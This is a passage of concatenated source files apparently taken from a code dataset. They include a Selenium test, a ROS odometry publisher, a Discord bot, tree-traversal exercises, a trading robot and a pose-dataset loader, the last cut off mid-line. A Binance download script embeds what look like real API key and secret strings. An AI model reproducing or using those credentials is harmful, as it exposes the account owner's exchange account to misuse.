\r\n settings = self.settings\r\n settings.borrarArchivos(\"E:\\\\workspace\\\\Maria_Repository\\\\accountClose\\\\attachments\\\\\")\r\n BOPlaza_LiquidacionParcial.accountLiquidacionParcial(self)\r\n time.sleep(1)\r\n print(\"Se ha cerrado una Liquidación Parcial correctamente\")\r\n print(\"Se ha probado en la versión del CAC BO: \" + self.BOVersion[1:16]+\" y CAC Manager: \"+self.BOVersion[17:])\r\n\r\n def accountLiquidacionParcial(self):\r\n settings = self.settings\r\n driver = settings.driver\r\n driver.get(BoPlazaUrl)\r\n driver.get_screenshot_as_file(\"E:\\\\Selenium\\\\loginCACCVHPage\"+timet+\".jpeg\")\r\n driver.get_screenshot_as_file(\"E:\\\\workspace\\\\Maria_Repository\\\\LiquidacionParcial\\\\attachments\\\\loginCACCVHPage.jpeg\")\r\n settings.loginPage(\"00001\", \"00001\")\r\n driver.get_screenshot_as_file(\"E:\\\\Selenium\\\\homeCACCVHPage\"+timet+\".jpeg\")\r\n driver.get_screenshot_as_file(\"E:\\\\workspace\\\\Maria_Repository\\\\LiquidaciónParcial\\\\attachments\\\\homeCACCVHPage.jpeg\")\r\n self.BOVersion = driver.find_element_by_id(\"ctl00_statusRight\").text\r\n time.sleep(2) \r\n ActionChains(driver).click_and_hold(driver.find_element_by_link_text(\"Gestión de cobrador\")).perform()\r\n time.sleep(1)\r\n driver.find_element_by_link_text(\"Liquidación parcial\").click()\r\n time.sleep(2)\r\n if \"La operación ha fallado por un error desconocido\" in driver.page_source:\r\n self.fail(\"No se puede generar una liquidación final debido a un error desconocido\")\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N50000_1\").send_keys(str(settings.ranNumbr(1,4)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N10000_1\").send_keys(str(settings.ranNumbr(1,4)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N5000_1\").send_keys(str(settings.ranNumbr(1,4)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N2000_1\").send_keys(str(settings.ranNumbr(1,4)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N1000_1\").send_keys(str(settings.ranNumbr(1,10)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N500_1\").send_keys(str(settings.ranNumbr(1,20)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N200_1\").send_keys(str(settings.ranNumbr(1,50)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01N100_1\").send_keys(str(settings.ranNumbr(1,100)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01C50_1\").send_keys(str(settings.ranNumbr(1,200)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01C20_1\").send_keys(str(settings.ranNumbr(1,500)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01C10_1\").send_keys(str(settings.ranNumbr(1,1000)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCASH01C5_1\").send_keys(str(settings.ranNumbr(1,2000)))\r\n time.sleep(.5)\r\n driver.find_element_by_id(\"ctl00_ContentZone_NumberCD201\").send_keys(str(settings.ranNumbr(1,5)))\r\n ActionChains(driver).click(driver.find_element_by_id(\"ctl00_ContentZone_NumberCD202_txt_formated\")).perform()\r\n ActionChains(driver).send_keys(str(settings.ranNumbr(10000,99999))).perform()\r\n time.sleep(.5) \r\n driver.get_screenshot_as_file(\"E:\\\\Selenium\\\\LiquidacionParcialPage\"+timet+\".jpeg\")\r\n driver.get_screenshot_as_file(\"E:\\\\workspace\\\\Maria_Repository\\\\LiquidaciónParcial\\\\attachments\\\\LiquidacionParcialPage.jpeg\")\r\n settings.elementClick(\"ctl00_ButtonsZone_BtnSubmit_IB_Label\")\r\n time.sleep(.50)\r\n \r\n if self.isAlertPresent()==True:\r\n driver.switch_to_alert().accept()\r\n time.sleep(6)\r\n \r\n if \"La operación ha fallado por un error desconocido\" in driver.page_source:\r\n self.fail(\"No se puede generar una liquidación final debido a un error desconocido\")\r\n \r\n driver.get_screenshot_as_file(\"E:\\\\Selenium\\\\LiquidacionInvoice\"+timet+\".jpeg\")\r\n driver.get_screenshot_as_file(\"E:\\\\workspace\\\\Maria_Repository\\\\LiquidaciónParcial\\\\attachments\\\\LiquidacionInvoice.jpeg\")\r\n time.sleep(1)\r\n \r\n def isAlertPresent (self): \r\n try:\r\n alert = self.settings.driver.switch_to_alert()\r\n alert.text\r\n if not alert == None:\r\n return True\r\n else:\r\n return False\r\n \r\n except NoAlertPresentException:\r\n time.sleep(2)\r\n return False \r\n\r\nif __name__== \"__main__\":\r\n unittest.main() ","sub_path":"CoviHonduras/BOPlaza_LiquidacionParcial.py","file_name":"BOPlaza_LiquidacionParcial.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"309244032","text":"from typing import (Any,\n Callable,\n Dict,\n TypeVar)\n\nDomain = TypeVar('Domain')\nRange = TypeVar('Range')\nMap = Callable[[Domain], Range]\nOperator = Map[Domain, Domain]\nPredicate = Map[Domain, bool]\n\ntry:\n from types import MethodDescriptorType\nexcept ImportError:\n MethodDescriptorType = type(list.append)\ntry:\n from types import WrapperDescriptorType\nexcept ImportError:\n WrapperDescriptorType = type(list.__init__)\n\nNamespace = Dict[str, Any]\n","sub_path":"paradigm/hints.py","file_name":"hints.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"511481700","text":"#!/usr/bin/env python\n\nimport rospy\nimport numpy as np\nimport geometry_msgs.msg\nfrom std_msgs.msg import Float32MultiArray\nfrom nav_msgs.msg import Odometry\nimport tf_conversions\nimport tf2_ros\n\nclass Publisher(object):\n\n\tdef __init__(self, frame_id, child_frame_id):\n\n\t\tself.frame_id = frame_id\n\t\tself.child_frame_id = child_frame_id\n\n\tdef getCurrentTime(self):\n\t\treturn rospy.Time.now()\n\n\tdef createTF(self, current_time, x_y_theta_t):\n\t\todom_trans = geometry_msgs.msg.TransformStamped()\n\n\t\todom_trans.header.stamp = current_time\n\t\todom_trans.header.frame_id = self.frame_id\n\t\todom_trans.child_frame_id = self.child_frame_id\t\t\t\t\n\t\todom_trans.transform.translation.x = x_y_theta_t[0]\n\t\todom_trans.transform.translation.y = x_y_theta_t[1]\n\t\todom_trans.transform.translation.z = 0.0\n\t\t\n\t\tq = tf_conversions.transformations.quaternion_from_euler(0, 0, x_y_theta_t[2]*np.pi/180)\n\t\t\n\t\todom_trans.transform.rotation.x = q[0]\n\t\todom_trans.transform.rotation.y = q[1]\n\t\todom_trans.transform.rotation.z = q[2]\n\t\todom_trans.transform.rotation.w = q[3]\n\n\t\treturn odom_trans\n\n\tdef createNavMsg(self, current_time, x_y_theta_t, vx_vth):\n\t\todom = Odometry()\n\n\t\todom.header.stamp = current_time\t\n\t\todom.header.frame_id = self.frame_id\n\t\todom.pose.pose.position.x = x_y_theta_t[0]\n\t\todom.pose.pose.position.y = x_y_theta_t[1]\n\t\todom.pose.pose.position.z = 0.0\n\n\t\tq = tf_conversions.transformations.quaternion_from_euler(0, 0, x_y_theta_t[2]*np.pi/180)\n\n\t\todom.pose.pose.orientation.x = q[0]\n\t\todom.pose.pose.orientation.y = q[1]\n\t\todom.pose.pose.orientation.z = q[2]\n\t\todom.pose.pose.orientation.w = q[3]\n\n\t\todom.child_frame_id = self.child_frame_id\n\t\todom.twist.twist.linear.x = vx_vth[0]\n\t\todom.twist.twist.linear.y = 0\t\n\t\todom.twist.twist.linear.z = 0\n\t\todom.twist.twist.angular.x = 0\n\t\todom.twist.twist.angular.y = 0\n\t\todom.twist.twist.angular.z = vx_vth[1]\n\n\t\treturn odom\n\n#pub = Publisher(\"odom\", \"base_link\")\n#print(pub.createNavMsg(10, [1,1,0,10], [1,5]))\n\n\n","sub_path":"code used for testing/OdometryHandler (for testing with simulated data)/bar.py","file_name":"bar.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"136469640","text":"#Import modules.\r\nimport os\r\nimport discord\r\nimport discord.utils\r\nimport random\r\nfrom discord.ext import commands\r\nfrom discord.ext.commands import has_role\r\n\r\n#Cog creation\r\nclass Activation(commands.Cog):\r\n\r\n def __init__(self, client):\r\n self.client = client\r\n\r\n @commands.Cog.listener()\r\n async def on_message(self, message):\r\n return\r\n\r\n #Simple hello command\r\n @commands.command()\r\n async def hello(self, ctx):\r\n await ctx.send('hello!')\r\n \r\n #Impulse simpulse command\r\n @commands.command(aliases=['imp'])\r\n async def impulse(self, ctx):\r\n await ctx.send('impulse more like simpulse')\r\n\r\n #Spotify main command | doesn't point to a specific playlist\r\n @commands.group(invoke_without_command=True)\r\n async def spotify(self, ctx):\r\n await ctx.send('https://spoti.fi/33vgIyZ ♡')\r\n\r\n #Spotify sub command | points to the apex playlist\r\n @spotify.command()\r\n async def apex(self, ctx):\r\n await ctx.send('https://spoti.fi/2Jp981x, you can add music to this! ♡')\r\n\r\n #Discord link command\r\n @commands.command(aliases=['d', 'invite', 'inv'])\r\n async def discord(self, ctx):\r\n await ctx.send('use this link to invite friends! https://discord.gg/ZvkghTn ♡')\r\n \r\n #Youtube link command\r\n @commands.command(aliases=['yt'])\r\n async def youtube(self, ctx):\r\n await ctx.send('https://www.youtube.com/c/sukrit ♡')\r\n \r\n #Twitter link command\r\n @commands.command(aliases=['tw'])\r\n async def twitter(self, ctx):\r\n await ctx.send('https://www.twitter.com/suukriit ♡')\r\n \r\n #Twitter link command\r\n @commands.command(aliases=['ttv'])\r\n async def twitch(self, ctx):\r\n await ctx.send('https://www.twitch.tv/suukriit ♡')\r\n\r\n #Help Command\r\n @commands.command(aliases=['commands', 'cmds'])\r\n async def halp(self, ctx):\r\n #landlord = discord.utils.get(ctx.guild.roles, name=\"Landlord\")\r\n #neighbor = discord.utils.get(ctx.guild.roles, name=\"Neighbor\")\r\n #suki = discord.utils.get(ctx.guild.roles, name=\"Suki\")\r\n person = ctx.message.author\r\n await ctx.message.delete()\r\n await ctx.channel.send(f\"💌 | {person.mention}, check your dms love!\", delete_after=4)\r\n embed = discord.Embed(colour=discord.Colour(0xaa6150), url=\"https://discordapp.com\", description=\"꒰♡꒱ Isabelle is coded and is currently running on Python 3.9 and created by suki.\\n \\n**PREFIX** — $\")\r\n embed.set_thumbnail(url=\"https://i.imgur.com/0x7Lr7R.jpg\")\r\n embed.set_author(name=\"⌦ ISABELLE OS\", icon_url=\"https://i.imgur.com/CD0ioXT.jpg\")\r\n embed.add_field(name=\"**SOCIALS**\", value=\"twitch\\ntwitter\\ndiscord\\nyoutube\\nspotify\", inline=True)\r\n embed.add_field(name=\"**FUN**\", value=\"impulse\\nsqueak\\nstealing?\", inline=True)\r\n embed.add_field(name=\"**REPORTS**\", value=\"ring\\nclose\", inline=True)\r\n await person.send(embed=embed)\r\n\r\n#await operator.send(\"⌦ **ISABELLE. | SUKI**\\n \\n꒰ ♡ ꒱ Isabelle is operated and coded in `Python`, currently running on Python 3.9, created by sukrit#1975.\\n \\n**COMMANDS** ($)\\n*conversational — activated w/o a prefix*\\n \\n'hey (isabelle/izzy) what cheese should i eat today' 'squeak'\\nisabelle responds with a random cheese for you.\\n \\n*looks like so far there's no more commands available*\")\r\n\r\ndef setup(client):\r\n client.add_cog(Activation(client))\r\n","sub_path":"cogs/activation.py","file_name":"activation.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"535770893","text":"# coding:utf-8\n\n# 树的结点的类\nclass TreeNode():\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\n\"\"\"\n二叉搜索树/有序二叉树/排序二叉树,是指一棵空树或者具有下列性质的二叉树:\n左子树上所有结点的值均小于它的根节点的值;\n右子树上所有结点的值均大于它的根结点的值;\n以此类推:左/右子树也分别为二叉查找树\n中序遍历:升序排列\n\"\"\"\n\nclass Solution:\n\n # 二叉树中序:左根右\n # def inorderTraversal(self, root):\n # # 递归版\n # res = list()\n # def travel(root, res):\n # if root is None:\n # return\n # if root.left:\n # travel(root.left, res)\n # res.append(root.val)\n # if root.right:\n # travel(root.right, res)\n # travel(root,res)\n # return res\n\n # 迭代solution1\n # def inorderTraversal(self, root):\n # stack, res, cur = [],[], root\n # # 左子树都遍历完stack为空,存在右子树的话cur指向右子树仍需要遍历\n # while stack or cur:\n # # 遍历当前结点的左子树\n # while cur:\n # stack.append(cur)\n # cur = cur.left\n # # 左子树走到了尽头,弹出栈顶元素,为根节点\n # cur = stack.pop()\n # res.append(cur.val)\n # # if cur.right: todo:加这句会超时,运行出错,why?\n # cur = cur.right\n # return res\n\n # 迭代solution2\n # def inorderTraversal(self, root):\n # stack, rst = [root], []\n # while stack:\n # i = stack.pop()\n # if isinstance(i, TreeNode):\n # stack.extend([i.right, i.val, i.left])\n # elif isinstance(i, int):\n # rst.append(i)\n # return rst\n\n # 迭代solution3,根节点遍历2次,第一次用来取左右节点然后子树的3个点压栈,第二次作为子树的根节点别处理\n def inorderTraversal(self, root):\n stack, res = [root], []\n while stack:\n item = stack.pop()\n if item:\n if item !='root':\n # 中序结果顺序左根右,入栈顺序右根左\n stack.extend([item.right, item, 'root', item.left])\n else:\n root_node = stack.pop()\n res.append(root_node.val)\n return res\n\n # 二叉树前序遍历:根左右\n # solution1: 常规做法\n def preorderTraversal(self, root):\n stack, res = [root], []\n while stack:\n # 弹出根节点,值入结果列表\n cur = stack.pop()\n res.append(cur.val)\n # 右结点先压栈后遍历\n if cur.right:\n stack.append(cur.right)\n if cur.left:\n stack.append(cur.left)\n return res\n # solution2: 来自颜色标记法评论中的变形,类似于solution3\n # def preorderTraversal(self, root):\n # stack, res = [root], []\n # while stack:\n # item = stack.pop()\n # if isinstance(item, TreeNode):\n # stack.extend([item.right, item.left, item.val])\n # elif isinstance(item, int):\n # res.append(item)\n # return res\n\n # solution3:根节点会被遍历两次,第一次通过它获取左右结点,第二次进行作为当前子树的根的处理\n # def preorderTraversal(self, root: TreeNode):\n # stack, res = [root], []\n # while stack:\n # cur = stack.pop()\n # if cur:\n # if cur != 'root':\n # stack.extend([cur.right, cur.left, cur, 'root'])\n # else:\n # traveled_node = stack.pop()\n # res.append(traveled_node.val)\n # return res\n\n # N叉树的后序遍历\n # solution1-迭代,过两遍根,第一遍用来取所再子树子节点然后压栈,第二遍对整个树进行处理\n def postorder(self, root: 'Node') -> List[int]:\n stack, res = [root], []\n while stack:\n item = stack.pop()\n if item:\n # 一棵子树各结点入栈\n if item != 'root':\n # 入栈顺序:根,孩子们\n stack.append(item)\n stack.append('root')\n # 此处倒序,保证子节点们的入栈顺序为从右到左\n stack.extend(item.children[::-1])\n else:\n root_node = stack.pop()\n res.append(root_node.val)\n return res\n\n # solution2-迭代,颜色遍历法的变形,类两遍根法\n # def postorder(self, root):\n # stack, res = [root], []\n # while stack:\n # item = stack.pop()\n # if isinstance(item, Node):\n # stack.append(item.val)\n # stack.extend(item.children[::-1])\n # elif isinstance(item, int):\n # res.append(item)\n # return res\n\n # solution3-递归:\n # def postorder(self, root):\n # res = []\n # if root:\n # for item in root.children:\n # res += self.postorder(item)\n # res.append(root.val)\n # return res\n\n # N叉树的前序遍历\n # 前序结果输出顺序:根,子结点们\n # solution1-迭代\n # def preorder(self, root: 'Node') -> List[int]:\n # stack, res = [root], []\n # while stack:\n # item = stack.pop()\n # if isinstance(item, Node):\n # # 子树的结点压栈, 顺序为子节点们(从右到左),根值\n # stack.extend(item.children[::-1]+[item.val])\n # elif isinstance(item, int):\n # res.append(item)\n # return res\n # solution2-递归\n def preorder(self, root):\n res = []\n if root:\n res.append(root.val)\n for child in root.children:\n res += self.preorder(child)\n return res\n\n","sub_path":"Week_02/树_二叉树的前中序遍历_N叉树的前后序遍历.py","file_name":"树_二叉树的前中序遍历_N叉树的前后序遍历.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"224349920","text":"# Jetfuel Game Engine- A SDL-based 2D game-engine\r\n# Copyright (C) 2017 InfernoStudios\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n# \r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n# \r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\n\nfrom ctypes import c_void_p\nfrom ctypes import c_wchar_p\n\nclass pointer_bridge(object):\n \n _jetfuel = None;\n _pointerbridgeref = None;\n\n def __init__(self, jetfuelsoloader, pointerbridgeref):\n self._jetfuel = jetfuelsoloader.jetfuelso;\n \n self._pointerbridgeref = pointerbridgeref;\n \n def recieve_pointer(self, pointerid, found):\n self._jetfuel.Pointer_bridge_recieve_pointer.argtypes = [c_void_p,\n c_wchar_p,\n c_void_p];\n self._jetfuel.Pointer_bridge_recieve_pointer.restype = c_void_p;\n \n return self._jetfuel.Pointer_bridge_recieve_pointer(\n self._pointerbridgeref, pointerid,\n id(found));\n \n def send_pointer(self, pointerid, pointer):\n self._jetfuel.Pointer_bridge_send_pointer.argtypes = [c_void_p,\n c_wchar_p,\n c_void_p];\n self._jetfuel.Pointer_bridge_send_pointer(self._pointerbridgeref,\n pointerid, pointer);","sub_path":"itchiodeployment/linux/PythonAPI/pythonwrappers/jetfuel/inspire/pointerbridge.py","file_name":"pointerbridge.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"283571049","text":"import csv\r\nfrom binance.client import Client\r\n\r\nclient = Client(\"1zkB4N7AQCfR4pIm99zynO29OEQVAGmAitfaY0Xbu9a1ydqKiQVnuRR4u0OumHUh\",\r\n \"5IRwRHT2Kq89qE0iKG8fQfNPyhJrfzdBeq7K0Ke7xRbaQfS6WK1XkKfN5LJjJNBQ\")\r\n\r\nwith open('pastdata.csv','w',newline='') as f:\r\n wr = csv.writer(f, quoting=csv.QUOTE_ALL)\r\n for kline in client.get_historical_klines_generator(\"ETHBTC\", Client.KLINE_INTERVAL_1MINUTE, \"1 March, 2017\"):\r\n wr.writerow([float(i) for i in kline])\r\n\r\n\r\n\r\n","sub_path":"BeachHacks/data_parse.py","file_name":"data_parse.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"146231021","text":"import logging\nimport deepquant.common.dataset_context as ds_ctx\nimport deepquant.common.datetime_util as datetime_util\nimport deepquant.common.error as err\n\n# create logger\nlogging.basicConfig(format='%(message)s')\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\nlogger.addHandler(ch)\n\n\nclass BaseRobotContext:\n\n def __init__(self, robot_config, model_util):\n # Prepare\n self.config = robot_config\n self.model_util = model_util\n\n \"\"\"\n # Build dictionary of column names:\n # Note: โมเดลจะต้องมีการใช้ indicators เสมอ และจะเก็บใน database (MongoDB)\n # ซึ่ง indicators จะสร้างใน python หรือส่งมาจาก Amibroker หรือ MetaTrader ก็ได้\n # ส่วน features จะมีหรือไม่มีก็ได้\n if model_util.has_feature():\n col_dict = {'price_colnames':self.model_util.get_price_columns(),\n 'indi_colnames':self.model_util.get_indi_columns(),\n 'feature_colnames':self.model_util.get_feature_columns(),\n 'analysis_log_colnames':self.model_util.get_analysis_log_columns()}\n else:\n col_dict = {'price_colnames':self.model_util.get_price_columns(),\n 'indi_colnames':self.model_util.get_indi_columns(),\n 'analysis_log_colnames':self.model_util.get_analysis_log_columns()}\n \"\"\"\n\n # Initialize asset dataset\n # Class DataSetContext is a wrapper class, encapsulating session using Redis\n logger.debug('%s - %s - [%s][%s]: %s' \\\n , datetime_util.bangkok_now(), __name__ \\\n , self.config['robot_name'], 'DEBUG' \\\n , \"DB collection name is \" + self.config['db_collection_name'])\n\n try:\n self.dataset_context = None\n self.dataset_context = ds_ctx.DataSetContext(robot_config['robot_name'], robot_config)\n df = self.dataset_context.get_dataset()\n logger.debug('%s - %s - [%s][%s]: %s' \\\n , datetime_util.bangkok_now(), __name__ \\\n , self.config['robot_name'], 'DEBUG' \\\n , \"Dataset's head is \" + str(df.head()))\n except Exception as e:\n raise err.DeepQuantError(\"Create DataSetContext error, db collection name: {}: {}\".format(\n robot_config['db_collection_name'],\n e))\n\n # Concat price columns, indicator columns, feature columns, analysis log columns and then return list of all columns\n def concat_dataset_column(self):\n price_columns = self.model_util.get_price_columns().copy()\n indi_columns = self.model_util.get_indi_columns().copy()\n\n if self.model_util.has_feature():\n feature_columns = self.model_util.get_feature_columns().copy()\n\n analysis_log_columns = self.model_util.get_analysis_log_columns().copy()\n\n for i in range(len(indi_columns)):\n price_columns.append(indi_columns[i])\n\n if self.model_util.has_feature():\n for i in range(len(feature_columns)):\n price_columns.append(feature_columns[i])\n\n for i in range(len(analysis_log_columns)):\n price_columns.append(analysis_log_columns[i])\n\n return price_columns\n\n def get_asset_dataset(self):\n return self.dataset_context.get_dataset()\n\n def get_asset_dataset_last_row(self):\n return self.dataset_context.get_dataset_last_row()\n\n def get_features_last_row(self):\n if self.model_util.has_feature():\n features = self.dataset_context.get_feature_last_row()\n return features\n else:\n return None\n\n \"\"\"\n def add_asset_dataset_row(self, row_df):\n # Append new row to asset dataset in session\n self.dataset_context.append_row(row_df)\n\n # Insert new row to database\n self.dataset_dao.insert(self.config.db_collection_name, row_df)\n \"\"\"\n\n def set_features(self, features_dict):\n pass\n","sub_path":"build/lib/deepquant/robotemplate_tfex/robot_context.py","file_name":"robot_context.py","file_ext":"py","file_size_in_byte":4243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"250894242","text":"class Solution(object):\n def nextPermutation(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n if len(nums) == 1:\n \treturn nums\n max_ = nums[-1]\n for i in range(len(nums)-2,-1,-1):\n \tif nums[i] < max_:\n \t\tfor j in range(len(nums)-1,i,-1):\n \t\t\tif nums[j] > nums[i]:\n \t\t\t\tnums[i],nums[j] = nums[j],nums[i]\n \t\t\t\ttmp = nums[i+1:]\n \t\t\t\tnums[i+1:] = tmp[::-1]\n \t\t\t\treturn nums\n \telse:\n \t\tmax_ = nums[i]\n return nums[::-1]\n\n\n\nif __name__ == '__main__':\n\ts = Solution()\n\tlst = [3,2,1]\n\tprint(s.nextPermutation(lst))","sub_path":"leetcode/31-40/prob31-40/prob31.py","file_name":"prob31.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"505694734","text":"import numpy as np\nfrom scripts.glass_pattern_generator.gp_generator import GPGenerator\n\n\nclass CircularDipolesGenerator(GPGenerator):\n\n def __init__(self, n_images=100, coherent_dipoles=200):\n super().__init__(n_images, coherent_dipoles)\n\n def __noise_frame(self, half=False):\n\n noise_dipoles = self.noise_dipoles if not half else int(self.num_dots / 2)\n\n # field 1\n theta1 = self._deg2rad(360 * np.random.rand(noise_dipoles, 1))\n r_adapt = self.min_rad_pix + np.dot((self.max_rad_pix - self.min_rad_pix),\n np.sqrt(np.random.rand(noise_dipoles, 1)))\n x1 = np.multiply(r_adapt, np.cos(theta1))\n y1 = np.multiply(r_adapt, np.sin(theta1))\n xy_f1 = np.array([x1, y1])\n\n # field 2\n theta2 = self._deg2rad(360 * np.random.rand(noise_dipoles, 1))\n x2 = np.multiply(r_adapt, np.cos(theta2))\n y2 = np.multiply(r_adapt, np.sin(theta2))\n xy_f2 = np.array([x2, y2])\n\n xy_matrix_n = np.concatenate((xy_f1, xy_f2), axis=1).reshape((2, noise_dipoles * 2))\n\n return xy_matrix_n\n\n def __coherent_frame(self):\n\n coherent_dipoles = self.num_dots if self.noise_dipoles == 0 else self.coherent_entities\n\n # field 1\n theta1 = self._deg2rad(360 * np.random.rand(coherent_dipoles, 1))\n r_adapt = self.min_rad_pix + np.dot((self.max_rad_pix - self.min_rad_pix),\n np.sqrt(np.random.rand(coherent_dipoles, 1)))\n x1 = np.multiply(r_adapt, np.cos(theta1))\n y1 = np.multiply(r_adapt, np.sin(theta1))\n xy_f1 = np.array([x1, y1])\n\n # field 2\n theta2 = theta1 + (self.dipole_dist_pix / r_adapt)\n x2 = np.multiply(r_adapt, np.cos(theta2))\n y2 = np.multiply(r_adapt, np.sin(theta2))\n xy_f2 = np.array([x2, y2])\n\n xy_matrix_c = np.concatenate((xy_f1, xy_f2), axis=1).reshape((2, coherent_dipoles * 2))\n\n return xy_matrix_c\n\n def make_images(self):\n\n for i in range(self.n_images):\n\n for agp in range(self.interval_duration_frames):\n if self.noise_dipoles == 0:\n xy_i1 = self.__coherent_frame()\n else:\n xy_n = self.__noise_frame()\n xy_c = self.__coherent_frame()\n xy_i1 = np.concatenate((xy_c, xy_n), axis=1)\n\n xy_i2 = self.__noise_frame(half=True)\n\n self.coherent_images[i, :, :, agp] = xy_i1\n self.noise_images[i, :, :, agp] = xy_i2\n\n print(\"Size of coherent_images: {i1}\\nSize of noise_images: {i2}\\n\".format(\n i1=self.coherent_images.shape,\n i2=self.noise_images.shape\n ))\n\n return self.coherent_images, self.noise_images, self.dot_size_pix\n","sub_path":"scripts/glass_pattern_generator/gp_dipoles.py","file_name":"gp_dipoles.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"150985900","text":"#!/usr/bin/env python3\n\nimport unittest\nfrom task import Bank, Client, Account\n\nclass BankTest(unittest.TestCase):\n\tdef test_createBank(self):\n\t\tself.bank = Bank(\"bank\")\n\tdef test_addAccount(self):\n\t\tself.bank = Bank(\"bank\")\n\t\tself.client = Client(\"Client\")\n\t\tself.bank.addAccount(self.client)\n\tdef test_event(self):\n\t\tself.bank = Bank(\"bank\")\n\t\tself.client = Client(\"client\")\n\t\tself.bank.addAccount(self.client)\n\t\tself.bank.event(0,\"withdraw\",50)\n\t\tself.bank.event(0,\"deposit\",100)\n\t\tself.bank.event(0,\"balance\")","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"209878088","text":"import logging\nimport os\nfrom torchvision.transforms import transforms\nimport torch\nimport numpy as np\nfrom crowdposetools.coco import COCO\nfrom pose.datasets.common import JointsDataset\nfrom pose.utils.imutils import load_BGR_image\n\nlogger = logging.getLogger(__name__)\n\n\nclass CrowdPose(JointsDataset):\n \"\"\"\n kps_names =['left_shoulder', 'right_shoulder', 'left_elbow', 'right_elbow', 'left_wrist', 'right_wrist',\n 'left_hip', 'right_hip', 'left_knee', 'right_knee', 'left_ankle', 'right_ankle', 'head', 'neck']\n kps_lines = [(0, 1), (0, 2), (1, 3), (2, 4), (3, 5), (6, 7), (6, 8), (7, 9), (8, 10), (9, 11), (12, 13)]\n \"\"\"\n def __init__(self, is_train, **kwargs):\n super().__init__(is_train, **kwargs)\n self.image_width = kwargs['inp_res']\n self.image_height = kwargs['inp_res']\n self.aspect_ratio = 1.0\n if self.is_train:\n self.coco = COCO(os.path.join(self.json, 'crowdpose_train.json'))\n else:\n self.coco = COCO(os.path.join(self.json, 'crowdpose_test.json'))\n\n self.num_joints = 14\n self.flip_pairs = [(0, 1), (2, 3), (4, 5), (6, 7), (8, 9), (10, 11)]\n self.db = self._load_data()\n mean, std = self._compute_mean()\n mean = mean.tolist()\n std = std.tolist()\n self.transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)\n ])\n logger.info('=> load {} samples'.format(len(self.db)))\n\n def _compute_mean(self):\n meanstd_file = './data/crowdpose/mean.pth.tar'\n if os.path.isfile(meanstd_file):\n meanstd = torch.load(meanstd_file)\n else:\n print('==> compute mean')\n mean = torch.zeros(3)\n std = torch.zeros(3)\n cnt = 0\n for sample in self.db:\n cnt += 1\n print('{} | {}'.format(cnt, len(self.db)))\n img = load_BGR_image(sample['image']) # CxHxW\n mean += img.view(img.size(0), -1).mean(1)\n std += img.view(img.size(0), -1).std(1)\n mean /= len(self.db)\n std /= len(self.db)\n meanstd = {\n 'mean': mean,\n 'std': std,\n }\n torch.save(meanstd, meanstd_file)\n if self.is_train:\n print(' Mean: %.4f, %.4f, %.4f' % (meanstd['mean'][0], meanstd['mean'][1], meanstd['mean'][2]))\n print(' Std: %.4f, %.4f, %.4f' % (meanstd['std'][0], meanstd['std'][1], meanstd['std'][2]))\n return meanstd['mean'], meanstd['std']\n\n def _load_data(self):\n gt_db = []\n for aid in self.coco.anns.keys():\n ann = self.coco.anns[aid]\n\n x, y, w, h = ann['bbox']\n img = self.coco.loadImgs(ann['image_id'])[0]\n width, height = img['width'], img['height']\n x1 = np.max((0, x))\n y1 = np.max((0, y))\n x2 = np.min((width - 1, x1 + np.max((0, 